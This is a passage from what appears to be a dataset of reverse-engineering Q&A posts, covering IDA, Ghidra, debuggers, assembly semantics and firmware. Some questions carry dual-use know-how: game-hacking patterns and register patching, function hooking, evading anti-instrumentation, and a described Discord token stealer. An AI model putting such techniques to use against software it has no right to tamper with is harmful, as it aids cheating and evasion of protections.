(sub_XXXXXX) really do becuase they are not part of the binary's symbol table, so the names are automatically generated by IDA which called Dummy names +
Dummy names are automatically generated by IDA. They are used to denote subroutines, program locations and data.
+>> https://www.hex-rays.com/products/ida/support/idadoc/609.shtml
+
+Yesterday I reverse-engineered a program and I used IDA Decompiler to see how the program works and i notices the dummy (functions) names, one of them after many hours trying to spot the implementation + +I found out (accidentally) that it was strtol's implementation +https://code.woboq.org/gcc/libiberty/strtol.c.html +https://www.tutorialspoint.com/c_standard_library/c_function_strtol.htm +
+So is there a tricks/tips or tools maybe like FIRST (https://talosintelligence.com/first) to let us know what these functions are ? +P.S: The question is not exclusive to IDA +" +"['assembly', 'arm', 'register']"," Title: ADDS(operations with S suffix) -ArmBody: This question was asked before here but in the answers I did get what i was looking for. +Consider this: +
ADDS R0 RO R1
+
+As far as I know to update the cpsr flags a subtraction has to be made. So after this instruction, is the result subtracted from RO or R1? +Edit: +This is what I understand +
CMP RO R1 
+
+In this instruction, R1 is subtracted from R0 and based on the results the flags are updated. The thing I dont understand is in operations with S suffix the result after the operation like eg ADDS on the top is it subtracted from R0 or R1 to update the flags or i got it all wrong? +Edit 2: +For example consider these instructions +
mov r0, #1
+mov r1, #6
+tst r1, r0
+bne 0x6000
+
+From this example, the result of the tst instruction is 7(111 binary). In the branch instruction how can it branch with the NE condition code if there was no comparison between registers. +" +"['dynamic-analysis', 'pintool']"," Title: how to bypass the instruction for antiDBIBody: This instruction stops the execution of the pin code jmp far 0x161061d, 0x33 ? how to get around this? +" +['windows']," Title: Unknown usage of dwLength and SsHandle members in PEB_LDR_DATABody: I've been implementing some Windows internals code and when I have tried to document this structure I have not been able to do so because of those two members. I can't find anything about them. +This is the definition of the structure I'm talking about: +
typedef struct _PEB_LDR_DATA {
+    DWORD      dwLength;
+    DWORD      dwInitialized;
+    LPVOID     lpSsHandle;
+    LIST_ENTRY InLoadOrderModuleList;
+    LIST_ENTRY InMemoryOrderModuleList;
+    LIST_ENTRY InInitializationOrderModuleList;
+    LPVOID     lpEntryInProgress;
+} PEB_LDR_DATA, *PPEB_LDR_DATA;
+
+Does anyone know its actual use or content? +" +"['ida', 'ghidra']"," Title: Does Ghidra have an equivalent to IDA's ""Evaluate Expression"" feature?Body: This is the window that appears when you press Shift + /. +Example: + +" +"['ida', 'radare2', 'ghidra']"," Title: Free alternative to Lighthouse Code Coverage Explorer?Body: I was trying to find if there is any free tool that allows an output similar to Lighthouse. I want to highlight the code paths taken so that I only reverse engineer the parts that are being executed. Unfortunately, Lighthouse only plugs into IDA Pro and Binary Ninja paid versions. +Perhaps there is a free plugin for Ghidra or radare2/Cutter? +If such a plugin is not available, how can I go about making something like that? What would be the basic building blocks? +" +"['dll', 'dnspy']"," Title: Custom Chromium build - find registered extension's JS codeBody: I have a custom chromium browser build which has a bunch of "native" functions which I would like to have definitions for. +Apparently, these are registered as en extension using this function: Chromium.Remote.CfrRuntime.RegisterExtension(System.String,System.String,Chromium.Remote.CfrV8Handler) which I was able to find in the ChromiumFX.dll. +I found this in the definition: +
+"Register a new V8 extension with the specified JavaScript extension +code and handler. Functions implemented by the handler are prototyped +using the keyword 'native'. The calling of a native function is +restricted to the scope in which the prototype of the native function +is defined. This function may only be called on the render process +main thread." +
+I'm a total reverse engineering noob so don't really know what I'm doing. I found the function using dnSpy but that's about it. +I tried looking into extracting the function definitions right from Chrome but apparently in the build they're using you can't do that. Or at least I couldn't find a way. +Is there a somewhat easy way of achieving what I want? +" +['idapython']," Title: How to open watch view using IDAPython?Body: I want to open the watch view and add watch in code. Do you know how? I didn't find open_window_ for it. I couldn't understand which function to use with BWN_... or IWID_... constants ( IWID_WATCH seems like watch view). +Thanks +" +['disassembly']," Title: What is the purpose of this sequence of HP PA-RISC instructions?Body: I'm looking at the startup code in an HP SOM executable. The disassembly looks like this: +
    00004010 b4 00 10 c2                      addi,tr 61,r0,r0
+    00004014 e8 00 01 aa                      b,l,n 0x000040f0,r0
+
+The addi instruction is adding the literal value 61 to the value of r0, and then stores the sum in r0. According to the manual, reading from the r0 register always yields 0, and writes to r0 are discarded. The computation thus has no visible effect, and can be considered a no-op. +However, the tr completer of the instruction controls whether or not the following instruction is "nullified", and tr (true) means "always nullify" according to my reading of the addi entry in the manual: +
+Purpose: To add an immediate value to a register and conditionally nullify the following instruction +
+and +
+Conditions: The condition is any of the 32-bit add conditions shown in Table D-6 on page D-5. When +a condition completer is not specified, the “never” condition is used. The boolean variable +“cond_satisfied” in the operation section is set when the values added satisfy the specified +condition. +
+The end result is that the net effect of the addi instruction is to always nullify the following b,l,n call instruction. But if you always nullify the following instruction, why not just elide it? +The rest of the startup code "feels" like it's been written in assembly language, and not compiled from an HLL. Someone must have intentionally coded this instruction pair. So what would the purpose be for writing code like this? +Edit: a sample binary is available here (https://github.com/uxmal/reko-samples/blob/master/hpsom/test2a/test2a). The relevant instruction is located at address 0x2920. A wider context is: +
00002910 0F791084 ldw -4(r27),r4
+00002914 08A40245 or r4,r5,r5
+00002918 0F651299 stw r5,-4(r27)
+0000291C 27791000 fldw -4(r27),fr0L
+00002920 B40010C2 addi,tr +00000061,r0,r0
+00002924 E80001AA b,l,n L$0005,r0
+00002928 8BD7A06A cmpb,>>,n r23,r30,L$0002
+0000292C 83178062 cmpb,<<,n r23,r24,L$0002
+
+The floating point instructions right before 0x2920 seem unrelated to the addi / b,l,n instruction pair. +" +"['packet', 'automation']"," Title: Automated instruction analysis of dynamic memoryBody: Introduction to problem: I have a binary executable with an unknown network packet protocol. I want to reverse engineer this packet protocol. My current way of doing it is to send some data and step through the instructions in disassembly to try to figure out what the application is doing with this data, and gradually construct the correct protocol. This solution is extremely inefficient. So I want to automate at least a part of this process. +Assuming that my network receive function is: +int recv(SOCKET s, char * buf, int len, int flags); +What I want to do is to automate instruction tracking for all instructions reading the chunk of memory pointed by char * buf +
mov eax, [globalRecvBufferPointer]
+mov dl, [eax]
+cmp dl, 20h
+jz somewhere
+
+In the example above, I want my automated tool to detect mov dl, [eax] and cmp dl, 20h instructions.
+Adding a hardware r/w breakpoint to char * buf lets me detect mov dl, [eax] but not the other.
+Another problem I can think of at this stage is when memory pointed by char * buf is copied to stack or other memory locations. +Are there ready-made tools for this kind of operation? If not, are there tools where I can implement this idea? +" +"['c++', 'c']"," Title: Make avaible x64 C++ exceptions on manually mapped moduleBody: I am trying to bind Lua on manually mapped module. As you can see clearly on here. +They are using C++ or C exceptions on their API and there is no way to avoid them. +I wonder to know if there are possibilities to enable that exceptions on my module. +I had tried to patch these line as following: +
#define LUAI_THROW(L,c) c->throwed = true
+#define LUAI_TRY(L,c,a) \
+    __try { a } except(0xDEADBEEF) { if ((c)->status == 0 && ((c)->throwed == true)) (c)->status = -1; }
+#define luai_jmpbuf     int  /* dummy variable */
+
+/* chain list of long jump buffers */
+struct lua_longjmp {
+  struct lua_longjmp *previous;
+  luai_jmpbuf b;
+  volatile int status;  /* error code */
+  bool throwed;
+};
+
+And compiled my module with /EHa, but it didn't work as expected. +" +"['debugging', 'c++', 'memory']"," Title: Scraping data from an audio analyzer applicationBody: Briefly: +I have an app that analyzes audio files and classifies them into 4 or 5 categories, how would one go about scraping the category each audio file belongs to? What is a good place to start? +Details: +It's a Mac x86 app but probably compiled with cross-platform frameworks, as it is available for Windows as well with the same UI. +I run “strings” on the binary and the name “juce” came up a few times, which is a C++ framework. +The info about the audio files is not displayed on a table, but as scattered points on a 2-D plane, similar sounds get placed together, and sounds of the same category are points of the same color. But still there must be an array in memory with the info I want to get. +" +"['ida', 'disassembly', 'assembly', 'x64dbg']"," Title: A tutorial or docs to unpack a custom packed PEBody: I am facing an odd situation. I have a licensed game that's doing odd actions on the system. I isolated it as I could and observed the behavior both network and so forth, and I suspect it's a custom-made malware. Till now, it wasn't discovered by any antivirus. +While trying to load it with IDA, I observed that I couldn't get it to analyze at all more than first few offsets – meaning most probably it was packaged with custom packager. I have never tried such a thing until now, and I would need a tutorial in this regard. Or some possible ways to improve my skills, or any documentation for this purpose. +I have also tried to find a loader to start my program and just dump the PE from a certain address, but unfortunately there's no such thing anymore, or I haven't found the right tool. +Thank you very kindly. +" +"['c++', 'dll', 'function-hooking', 'dll-injection']"," Title: How to hook to a system functionBody: How to hook to external library function, such as OpenGL for example. +I have a function used by the program I am trying to change behaviour of. The function is: +
lVar17 = glfwCreateWindow(uVar22,uVar25,pplVar29,uVar30,0);
+
+Now, I want to change that function without changing the caller function. I.e. the caller function and the call above will remain exactly the same, but the glfwCreateWindow will return something different, i.e. it will be re-written like this: +
glfwCreateWindow (uVar22,uVar25,pplVar29,uVar30,0) {
+
+    GLFWwindow* window = glfwCreateWindow(uVar22,uVar25,pplVar29,uVar30,0);
+    HWND hwnd = FindWindow(NULL, WindowName);
+    GLFWwindow* atchdHwd = glfwAttachWin32Window(hwnd, window); 
+    return atchdHwd;
+}
+
+Any way of doing this? +" +"['debugging', 'python']"," Title: Counting how many times a function is calledBody: I want to change context (Rdx, Rax etc.) everytime a specific function gets called. +My solution: I seted up a breakpoint at function event.get_thread().set_context({"Rdx" : "bla bla"}) +My problem: The FPS of the game drops to 16 +Is there another method to do this without FPS problem ? +
#!/usr/bin/python
+# -*- coding: utf-8 -*-
+import time
+import os,code
+import winappdbg
+import psutil
+pid = None
+process_name = "process.exe"
+for process in psutil.process_iter():
+    if process.name() == process_name:
+        pid  = process.pid
+def handle(event):
+    global count
+    count += 1
+    os.system("cls")
+    print(f"Changed Slot: {count}")
+global event2, count, alloc
+alloc = None
+event2 = None
+count = 0
+def eventHandler(event):
+    code = event.get_event_code()
+    if code == winappdbg.win32.LOAD_DLL_DEBUG_EVENT:
+        module = event.get_module()
+        if module.match_name("user32.dll"):
+            print ("Setting breakpoint")
+            global event2
+            event2 = event
+            event.debug.break_at(event.get_pid(), 0x7FF60DA6C47E, handle)
+debu = winappdbg.Debug(eventHandler, bKillOnExit=False)
+proc = debu.attach(pid)
+try:
+    debu.loop()
+except KeyboardInterrupt:
+    event2.debug.dont_break_at(event2.get_pid(), 0x7FF60DA6C47E)
+
+" +"['ida', 'idapython', 'ida-plugin']"," Title: Can I get loaded pdb file path from IDAPython?Body: IDA Pro can automatically download and load .pdb files from symbol server. +And now I want to write an IDAPython plugin to obtain some data from the .pdb file. +But I don't know how to get the file path of the already loaded .pdb file.
+Can I get it using IDAPython? +" +"['ida', 'disassembly', 'assembly', 'debugging', 'binary']"," Title: How To Access Predefined Class Attributes From IDA Pro After Loading The Binary Without Debugger Attached To ProcessBody: I have this class with constructor offsets and attributes: +
public class example 
+{
+    // Fields
+    public float Attribute_1 = 1.5f; // 0x8
+    public int Attribute_2 = 102 ; // 0xC
+
+    
+    // RVA: 0x198EF70 Offset: 0x198EF70 VA: 0x9BF8EF70
+    public void .ctor() { }
+}
+
+The question is how to access predefined attributes Attribute_1 and attribute_2 in IDA. +" +"['debugging', 'linux', 'gdb', 'breakpoint']"," Title: Using rbreak without import functionsBody: While debugging with GDB I want to break for each function and print the PC register. +
rbreak .
+define hook-stop
+   i r $PC
+   c
+end
+
+The problem is that is stop on functions that imported like printf and memcpy . +How can I stop only on functions in my binary that not imported? +" +"['ida', 'debugging', 'tracing']"," Title: IDA tracing not workingBody: I remotely debug a process with IDA Pro, and I want to print to file all the functions that are called. +I have tried to use IDA Tracing, but it doesn't print to file. + +" +"['hexrays', 'ios']"," Title: How to get variable value during IDA (Hex-Rays Decompiler) debugging?Body: I'm debugging a iOS App by IDA, and I need to see the value of some var like v57 below. +Through the Locals panel know the value is 0x1137D0E00LL, but I want to see the real value or class. +How to get it? +Can someone help? +Code Here: +
v57 = sub_10AA66818();
+v58 = (void *)objc_retainAutoreleasedReturnValue(v57);
+v59 = v58;
+v13 = v65;
+v60 = objc_msgSend(v58, (const char *)&loc_109CB2ABC + 1, v46, v29, v65);
+
+sub_10AA66818() return a OC Singleton Object and Stored in v57: +
__int64 sub_10AA66818()
+{
+  if ( qword_10DCB7038 != -1 )
+    dispatch_once(&qword_10DCB7038, &off_10BE41040);
+  return objc_retainAutoreleaseReturnValue(qword_10DCB7030);
+}
+
+According to the second code box, that Singleton perform a selector to do something. +It's why I try to know what sub_10AA66818() return in debugging. +" +['java']," Title: Determine if exe is written using JavaBody: I'm examining my Windows programs to determine which ones are written in Java, and if so, whether they import a log4j library affected by the log4shell vulnerability. +Programs that are packaged as JAR files and use the JVM to run are fairly easy to identify. +However, I am less certain about .exe files. Usually these are compiled from say C++, but there are ways to compile Java code into .exe files. +Is there a method to identify whether an .exe was written using Java? Is this method reliable? +" +"['ida', 'debugging', 'x64dbg', 'exception']"," Title: Strange exception thrown while debugging in Win10, but not Win7Body: I am disassembling a legacy 32-bit (x86) application using IDA Home (7.6) (for x86 disassembly) in a 64-bit Windows 10 environment running in a virtual machine (VMWare Fusion for Mac). The application executes without issue when outside a debugger, however, when running the application using the "Local Windows Debugger" in IDA (loaded as a MetaPC project), an "unknown exception code 6A6" is thrown: +                                        + +This exception occurs shortly after the application execution has begun in the debugger (i.e. without any application user input). +To eliminate a possible issue with IDA, I tested using the x32dbg debugger and the Ollydbg debugger. Both debuggers throw the same raised exception, namely the RPC_S_INVALID_BINDING (0x000006A6) error: +                        + +I spent some time thinking about why I am facing issues running the application inside a debugger and I came up with a few possible reasons: +
    +
  1. Anti-debugger techniques.
  2. +
  3. 64-bit debuggers are loading the wrong DLLs (i.e. they're loading the 64-bit DLL when it should be loading the 32-bit DLL located in C:\WINDOWS\SysWOW64\). + +
  4. +
  5. Something else (??)
  6. +
+I am able to disprove that both #1 and #2 are not the issues after setting up a 64-bit Windows 7 with Service Pack 1 environment. I am able to debug the application in IDA without issue while in this Windows 7 environment (i.e. the 6A6 exception is not thrown). +So, this leads me to #3 - a head scratching moment. I did some research into the RPC_S_INVALID_BINDING (0x000006A6) error and came across this StackOverflow question. Naming, the accepted answer notes the following: +
+Explaining 'The Binding Handle Is Invalid'

+Today I want to try to give more insight into the 'Binding Handle Is Invalid' problem that a number of people have reported with the VS 2005 debugger.

+First, if all you care about is how to solve the problem: Enable the 'Terminal Services' service and reboot. If you want to know more, read on. +
+I tried enabling the Terminal Services (now named Remote Desktop Services on Windows 10 [reference]), however, this doesn't solve the issue and I still get an "unknown exception code 6A6" error. The RPC_S_INVALID_BINDING (0x000006A6) error confuses me quite a bit. +There clearly appears to be something wrong with my environment setup with Windows 10 that isn't allowing me to specifically debug this application. Something changed from Windows 7 that is causing this issue and I'm at a loss here. +Does anyone know what might be the issue here? +
+Environment Detail(s): +
    +
  • OSes Tested in VMWare Fusion (12.2.1 (18811640)): +
      +
    • [❌ - Issue] Windows 10 (x64) - Build 19042 (20H2 / 20H2)
    • +
    • [❌ - Issue] Windows 10 (x64) - Build 15063 (1703 / Redstone 2)
    • +
    • [❌ - Issue] Windows 10 (x64) - Build 14393 (1607 / Redstone 1)
    • +
    • [✅ - No Issue] Windows 7 Ultimate (x64) - Build 7601 (Service Pack 1)
    • +
    +
  • +
  • Tools Used (launched as Administrator): +
      +
    • IDA Home 7.6 (v7.6.210427) (x64)
    • +
    • x32dbg (Release "July 1 2021, 23:09:08") (x64)
    • +
    • Ollydbg (v2.01) (x86)
    • +
    +
  • +
+

Update #1:

+As requested, here is the call stack (a.k.a. stack trace) when the exception occurs: + +The application appears to be checking the DirectX9 environment and whether it is supported or not. Although, this is a guess on my part from the name of the DLL, DX9EnvChk.dll, which is included alongside the application in question. I can't find much information about this DLL through a normal web search, but it appears to be present with other applications of the era. This DLL (nor accompanying header file) was not part of the Microsoft DirectX SDK (June 2010) from what I can see. +" +"['memory', 'virtual-machines', 'virtual-memory', 'hypervisor']"," Title: ReadProcessMemory from host to Hyper-V Windows Guest VMBody: Is it possible to use ReadProcessMemory or some other form of it maybe via a library to read memory from a virtual machine running inside Hyper-V? +The host is running Windows 11 the Guest is running Windows 10 through Hyper-V +" +['ida']," Title: In IDA what does db and dd offset means in data section?Body: So, in .data section there is some variable, and after it there is db or dd (offset). What exactly does this mean? And what does “align” means? Is there any Wiki or something like that that tells all this in detail? +
    .data:0048A374                 db    0
+    .data:0048A375                 db    0
+    .data:0048A376                 db    0
+    .data:0048A377                 db    0
+    .data:0048A378 off_48A378      dd offset unk_48A000    ; DATA XREF: start+41↑o
+    .data:0048A37C                 dd offset unk_48A1CE
+    .data:0048A380                 dd offset unk_48A1CE
+    .data:0048A384                 dd offset unk_48A33C
+    .data:0048A388 byte_48A388     db 1                    ; DATA XREF: __InitVCL+3↑r
+    .data:0048A389                 align 10h
+    .data:0048A390                 dd offset WinMain
+    .data:0048A394                 dd offset __matherr
+    .data:0048A398                 dd offset __matherrl
+    .data:0048A39C                 align 10h
+    .data:0048A3A0                 dd offset unk_48F66C
+    .data:0048A3A4                 dd offset off_490784
+    .data:0048A3A8                 dd offset off_490788
+    .data:0048A3AC                 dd offset __handle_setargv
+    .data:0048A3B0                 dd offset __handle_exitargv
+    .data:0048A3B4                 dd offset __handle_wsetargv
+    .data:0048A3B8                 dd offset __handle_wexitargv
+    .data:0048A3BC                 dd offset dword_48F0EC
+    .data:0048A3C0 byte_48A3C0     db 0                    ; DATA XREF: ___CRTL_VCL_Init_2+2↑r
+    .data:0048A3C0                                         ; __InitVCL+17↑r
+    .data:0048A3C1 byte_48A3C1     db 0                    ; DATA XREF: .text:00401060↑r
+    .data:0048A3C1                                         ; ___CRTL_VCL_Init_2+B↑r ...
+    .data:0048A3C2                 dd offset unk_4906E4
+    .data:0048A3C6                 dd offset unk_4907AC
+    .data:0048A3CA                 dd offset unk_4904F0
+    .data:0048A3CE                 db    0
+    .data:0048A3CF ; DWORD dwTlsIndex
+    .data:0048A3CF dwTlsIndex      dd 0                    ; DATA XREF: start:loc_401012↑r
+    .data:0048A3CF                                         ; .text:00401082↑r ...
+    .data:0048A3D3 dword_48A3D3    dd 0                    ; DATA XREF: start+1A↑w
+    .data:0048A3D7 dword_48A3D7    dd 0                    ; DATA XREF: start+4D↑w
+    .data:0048A3D7                                         ; .text:__getHInstance↑r ...
+    .data:0048A3DB                 db  90h ; ђ
+    .data:0048A3DC ; Exported entry 156. ___CPPdebugHook
+    .data:0048A3DC                 public ___CPPdebugHook
+    .data:0048A3DC ___CPPdebugHook db    0                 ; DATA XREF: start+E↑o
+    .data:0048A3DC                                         ; sub_46AF30+20↑o ...
+    .data:0048A3DD                 db    0
+    .data:0048A3DE                 db    0
+    .data:0048A3DF                 db    0
+
+" +"['assembly', 'x86', 'ghidra', 'dos-com']"," Title: How to import x86asm into Ghidra?Body: I have some assembly code as a .txt file (i.e. a list of the instructions, stuff like this): +
00000003  E8D001            call 0x1d6
+00000006  A08000            mov al,[0x80]
+00000009  0C00              or al,0x0
+0000000B  750B              jnz 0x18
+0000000D  90                nop
+
+How would I import this into ghidra? (i.e. copy the code into the code browser window). I originally started with a .COM file, but I couldn't successfully import into Ghidra. My end goal is to compile it up to C. +" +"['hardware', 'serial-communication']"," Title: ASUS RP-AC51 UART doesn't work with any common baud rateBody: I have an ASUS RP-AC51. It doesn't broadcast any WiFi network when powered on, the management interface cannot be accessed over Ethernet, and the reset button seemingly does nothing. +I decided to try and get a shell on the device with UART. I'm following the instructions from this video. Here are photos of my setup. +I use screen on the Pi to connect to the device: +
pi@desk:~ $ lsusb
+Bus 001 Device 004: ID 0b95:772a ASIX Electronics Corp. AX88772A Fast Ethernet
+Bus 001 Device 003: ID 1a86:7523 QinHeng Electronics CH340 serial converter
+Bus 001 Device 002: ID 1a40:0101 Terminus Technology Inc. Hub
+Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
+pi@desk:~ $ ls /dev | grep USB
+ttyUSB0
+pi@desk:~ $ screen /dev/ttyUSB0 300
+
+I tried every single one of the common baud rates listed in the video. I never got any readable text. As an example, here's a snippet of what I get at 115200: +
E�I�L)rNS:9
+            4�"�*.W PFd���QN'S�Jj
+PS� ��3Z�Y L    rr$j             �HR
+                    -B����Y":j
+                              0�VH. ��)j
+                                        ath_!�J��+,W+�5��e��)�BHL��*W   "2J���WHa�5幮e�VVՕ�k�'�,յ�M"�J l9
+          ��R��p@ ₂����RT� Plk  B��+E |         �6      ��2FJ!U�څ(es�'B�1       �L      ��L   ��1S�1` R�AU1b��J��
+                  j
+PS:��              ARU*R
+
+Does anyone know what baud rate I should be using? Or am I doing something else wrong? +(I don't have an oscilloscope.) +" +['ida']," Title: How to hide NOPs in IDA?Body: I am trying to understand a method in IDA Free and I find the NOPs, especially the multibyte NOPs confusing. +Is it possible to hide these? I believe that they are not relevant for my understanding. +" +"['ida', 'x64dbg', 'game-hacking']"," Title: Finding function from patternBody: I have been trying to reverse engineer a game for a while now. I have a pattern already for the function I want to find: +
\x89\x54\x24\x10\x4C\x89\x44\x24\x18\x4C
+\x89\x4C\x24\x20\x48\x83\xEC\x28\x48\x85
+\xC9\x75\x08\x8D\x41\x2B\x48\x83\xC4\x28
+\xC3\x4C
+
+Can I find the function with that pattern using IDA or x64dbg? +" +"['ida', 'x64dbg', 'functions', 'game-hacking']"," Title: How do I find a function and find out what it does using reverse engineering?Body: I am attempting to find a function in a specific game. Is there any way that, using the assembly code I get from decompiling the game in either IDA or x64dbg, I can locate a function I am specifically looking for? +" +"['windows', 'c++', 'executable', 'winapi', 'address']"," Title: How do I get all sections in a PE file using C++?Body: So I am wondering how can I get all sections and their info from a dumped PE file on the disk, using C++. +I have the entire PE loaded on a buffer, the NT headers, and hopefully the DOS headers. +I need this so I can transform a raw offset of the file into an offset that I can add to the base address and get my result. +" +"['windows', 'x86', 'c++', 'msvc', 'class-reconstruction']"," Title: One class with different sizesBody: After looking at some basic examples of how C++ classes are compiled by MSVC, I tried to apply the knowledge to a DLL I'm working on. While searching for a class to start with, I came across +CRefCountable. Its constructors are straightforward and it appears to be a base class that almost every other class extends from. +Looking at one of the ctors, it seems like a CRefCountable is 8 bytes long, containing the vftable and a DWORD. I then got the impression that there are some "hidden" fields not initialized, as it is called with a pointer to 16 bytes of memory. Scrolling through the references to this ctor, I was surprised to see that it is also called with a pointer to 572, 500 and/or 20 bytes of memory, never with 8 bytes as I suspected. +How can the size of this class be variable and bigger than the ctor implies? Or could this be a compiler optimization, where memory for a child class or something else is allocated together with the memory for the object, saving a call to malloc/new? +I've decided not to include the decompilation or disassembly of the code in question, as it's either trivial or included in a way bigger function of a child class I haven't touched yet. If needed, I can provide some examples though. +

EDIT

+I completely forgot that the term "base class" was a thing, sorry about that. I'm very sure that this is a base class from the name and from looking around. +This is the constructor that I mentioned above. +
// mangled name: ??0CRefCountable@@QAE@XZ
+// demangled name: public: __thiscall CRefCountable::CRefCountable(void)
+
+mov     eax, ecx
+mov     dword ptr [eax], offset ??_7CRefCountable@@6B@ ; const CRefCountable::`vftable'
+mov     dword ptr [eax+4], 0
+retn
+
+The values for the size of the object are in constructs such as this: +
...
+push    10h
+call    new_or_malloc
+mov     esi, eax
+add     esp, 4
+mov     [esp+18h+var_10], esi
+test    esi, esi
+mov     [esp+18h+var_4], 0
+jz      short loc_1002C12E
+mov     ecx, esi        ; this
+call    ??0CRefCountable@@QAE@XZ ; CRefCountable::CRefCountable(void)
+mov     dword ptr [esi], offset off_100443DC
+mov     eax, [edi+8]
+mov     [esi+8], eax
+mov     [esi+0Ch], edi
+jmp     short loc_1002C130
+loc_1002C12E:
+xor     esi, esi
+loc_1002C130:
+...
+
+Ghidra's decompiler turns that into constructs like this (which I used to find these more quickly, as it's more concise). +
  crc = (CRefCountable *)new_or_malloc(0x10);
+  local_4 = 0;
+  if (crc == (CRefCountable *)0x0) {
+    crc = (CRefCountable *)0x0;
+  }
+  else {
+    CRefCountable::CRefCountable(crc );
+    crc ->vftable = &PTR_AddReference_100443dc;
+    crc[1].vftable = *(undefined ***)(param_1 + 8);
+    crc[1].field_0x04 = param_1;
+  }
+
+The value I suppose is the size of the object is the arg to new_or_malloc. This function wasn't recognized by IDA Free or ghidra, but it made sense in the context and the function does call HeapAlloc in the end. +Something that I overlooked yesterday evening was that param_1 (or edi in the disassembly) sometimes is the this pointer to a object. In this particular case it's a plugin manager class that doesn't seem to extend CRefCountable. +" +"['decompilation', 'malware']"," Title: Decompiling a Node.js application compiled with nexeBody: Someone have sent a Discord token stealer and out of curiosity, I would like to decompile it, just to get some info about the attacker. +Judging by folders created in my user directory, multiple references to directory named .nexe I'm pretty sure that it was compiled using nexe, and it does something on GitHub (maybe download config), sends the token via Discord webhook feature (uses an npm package for that), deletes login info, and quits Discord so the user is logged out. +I've tried to view requests that this malware makes with Wireshark, and sevral other programs but it's HTTPS so it's encrypted. +Can anyone help me with decompiling this malware or at least decrypting traffic between it and GitHub/Discord? +" +"['ghidra', 'c#']"," Title: Constructor takes it's own class pointer as paramBody: So, I need to call a constructor to start an action in a game made with Unity, compiled with Il2cpp. +The constructor itself by Ghidra: +
void Client.Model.Gameplay.Battle.Commands.CreatePveBattleCmd$$.ctor(longlong param_1,int stage,int *heroIds,undefined4 source,undefined8 numberBattles, undefined8 autoBattle,undefined8 presetId,undefined doubleRun)
+
+The constructor in dnSpy after dumping it with Il2cpp dumper by Perfare: +
public CreatePveBattleCmd(int stageId, int[] heroIds, BattleRequestSourceId source, [Optional] int? autoBattleNumber, [Optional] UserAutoBattleData autoBattleData, [Optional] int? presetId, bool doubleRunEnabled = false)
+{
+}
+
+That unknown param_1 at Ghidra's is the class pointer, I have been able to call methods of other classes with success but they were always already instantiated, so I'm kinda lost on how to approach this. +My way of calling methods is as follows: +
typedef type (__callMethod* _name)(type param_1, type param_2);
+_name name;
+
+How to call the constructor without it's class? +" +"['ida', 'idapython', 'python', 'ida-plugin']"," Title: How to get function signature using IDA Python in IDA ProBody: I open .exe file in IDA with .pdb attached to it, so IDA scans .pdb and shows function names. +I need to get signature strings of many functions. I can't do it manually so I want to use built-it IDA Python console +For example: function on address 00007FF68E528660 has signature int __fastcall lua_error(lua_State *L) +I got my function address (ea) +
def GetFunctionByName(name):
+    ea = BeginEA()
+    for funcAddr in Functions(SegStart(ea), SegEnd(ea)):
+        funcName = GetFunctionName(funcAddr)
+        if funcName == name:
+            return funcAddr
+    return None
+print function_i_need(GetFunctionByName("lua_error"))
+
+#should print "int __fastcall lua_error(lua_State *L)" or something familiar
+
+I don't know how to implement function_i_need +How do I get that signature string using python code? +" +"['windbg', 'x64dbg', 'pintool', 'api-reversing']"," Title: Heavens gate codeBody: Recommend me please how and what better to reverse the code containing "heavens gate"? What tool to bypass protection? Thank you. +
I use Intel Pin
+
+    push cs
+    push 0xa02829
+    jmp far 0xac9ba1, 0x33
+
+" +"['ida', 'disassembly', 'c++', 'game-hacking']"," Title: How could I find a call of a function thats only referenced inside a vftable?Body: So I have this function which I'm trying to figure out the arguments to. + +However, all the xrefs of it point to a VFTable. + +How would I find a call for this function? +" +['firmware']," Title: dumping and modifying keyboard firmwareBody: is theoretically possible to dump the keyboard firmware of a laptop, modify it and reflash it to make the keyboard works not properly ? +I don't know even if the laptop keyboard has a firmware. +Without accessing phisically to any chip. Just by software. +" +['dumping']," Title: extracting data from dump filesBody: I have used Frida and Fridump for Memory Dump & Strings Dump on a mobile device so ,now I have about 500 Files with dump.data format. +
+first, I want to extract any pdf files and save them in my pc +
+
+second , I want to look for any text +
+can somebody help , thanks. +" +"['disassembly', 'assembly']"," Title: Why does the ""MOV DWORD PTR ds:0xdeadbeef"" instruction dereference the 0xdeadbeef address?Body: I'm reverse engineering a binary and I'm confused, because my theoretical knowledge is currently clashing with what's actually happening. +I thought that this instruction writes the value 0xdeadbeef into edx: +
mov edx, DWORD PTR ds:0xdeadbeef
+
+And I thought that this instruction dereferences that address 0xdeadbeef and writes whatever DWORD value is stored at that address into edx: +
mov edx, DWORD PTR ds:[0xdeadbeef]
+
+However, in reality, running this instruction: +
mov edx, DWORD PTR ds:0x804bdf4
+
+Results in the value of edx being: +
edx = 0xb73fc115
+
+0xb73fc115 is the value that's stored at the address 0x804bdf4: +
x 0x804bdf4
+0x804bdf4 <gContents>: 0xb73fc115
+
+So that means that the address was dereferenced, even though the assembly didn't contain any square brackets. I thought thatsquare brackets signified a dereferencing operation. What have I misunderstood? +I'm using GDB +
+Update: I just tested it on radare2, and it shows the instruction in the format that I would expect +
mov edx, dword [obj.gContents]
+
+I also tested it with objdump, and the result was the same as with GDB. I assume it's some sort of syntax I don't currently understand? +" +"['ida', 'pe', 'struct']"," Title: Parse offset to PE structBody: Im trying make my idb beautier. I want to parse the offset to PE structure. Here is some example: + +I want to parse (module + 60) to (module_base->e_lfanew) but when i change the type of module_base variable, i got the result. But the problem is the next line, IDA cant convert it to (module_base->OptionalHeader.DataDirectory[0].VirtualAddress). +But if i change the type of module_base to PIMAGE_NT_HEADERS, it look like this: + +Now the first line is wrong. So what can i do to fix the first line. Thanks +" +['idapython']," Title: How to print custom name of an operand in IDA Python?Body: I'm starting to work on a plugin to port symbols(stack variable names, operand names, comments, etc) from functions in one database to functions in another database when function names match. +I'm getting familiar with IDA api and now I can't find out how to get a custom name of an operand in IDA Python. +Here's my main function: + +For now I'd just like to be able to print information I want, I'd like to print operand names: normal names when custom name is not defined, and the custom name when I set the custom name for the operand(Alt+F1 shortcut key by default). +Here's what I came up with for my main function: +
import idautils
+
+
+for functionItem in idautils.FuncItems(0x140012400):
+    if ida_bytes.is_code(ida_bytes.get_full_flags(functionItem)):
+        instruction = idautils.DecodeInstruction(functionItem)
+        print(idc.print_operand(instruction.ip, 0))
+
+And I expect it to print this at the end: +
rsp
+rdi
+rbp:myCustomName
+
+This code prints: +
rsp
+rdi
+rbp
+
